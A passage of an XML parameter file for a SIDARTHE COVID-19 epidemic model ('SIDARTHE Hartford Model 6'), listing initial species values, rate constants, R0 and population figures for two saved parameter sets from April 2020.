<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.89999999970843814" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.017999999994168764" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.02
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.44999999985421907" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.5
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.026999999991253142" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.03
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.59999999996170328" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.59999999996170328" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.00299207294076907" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.01" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.31706556219183368" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.070000000002386181" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.070000000002386181" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.2156508570673327" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.31706556219183368" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.095332022003577196" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.051725401850888801" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.91706556215353696" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.91706556215353696" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.082992072943155248" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.28565085706971888" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.14705742385446599" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="NaN" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="NaN" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="4.5311562921747859" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="5.0334782213054721e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="894014" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="1.0066956442610944e-06" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="2.0133912885221893e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="3.0200869327832834e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.64906638845583053" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.64906638845583053" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu_UCH]" value="0.0082117497220399009" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Total_Hospitalized]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ZeroDay]" value="3.5674816571616477" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.0066956442610944e-06" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="2.0133912885221893e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="5.0334782213054721e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.0200869327832834e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.59999999996170328" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.59999999996170328" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.00299207294076907" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.070000000002386181" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.070000000002386181" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.051725401850888801" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.31706556219183368" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.31706556219183368" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.01" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.2156508570673327" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.095332022003577196" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.0082117497220399009" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.0082117497220399009" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.051725401850888801" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.095332022003577196" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_18" name="Model5 - 4/21">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_18">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-22T03:20:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572664" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="2.2710491535199303e-10" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.94328863932564821" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.18865772786512966" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.09432886393256483" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.047164431966282415" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.0072414521576865017" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.0072414521576865017" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.00063490001422277658" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.0001" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.091103382179247794" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.01632439890557362" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.01632439890557362" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.091103382179247794" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.091103382179247794" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.048111291788608519" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.03998017723708211" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="1.000000000227105" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="1.000000000227105" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.098344834336934292" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.098344834336934292" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.017059298919796396" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.10742778108482141" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.088091469025690622" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="10.000000036129427" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="2.6402941202873717e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="2.6402941202873713e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="5.2805882405747435e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="1.3201470601436859e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="0.90000000000000002" type="ModelValue" simulationType="fixed"/>
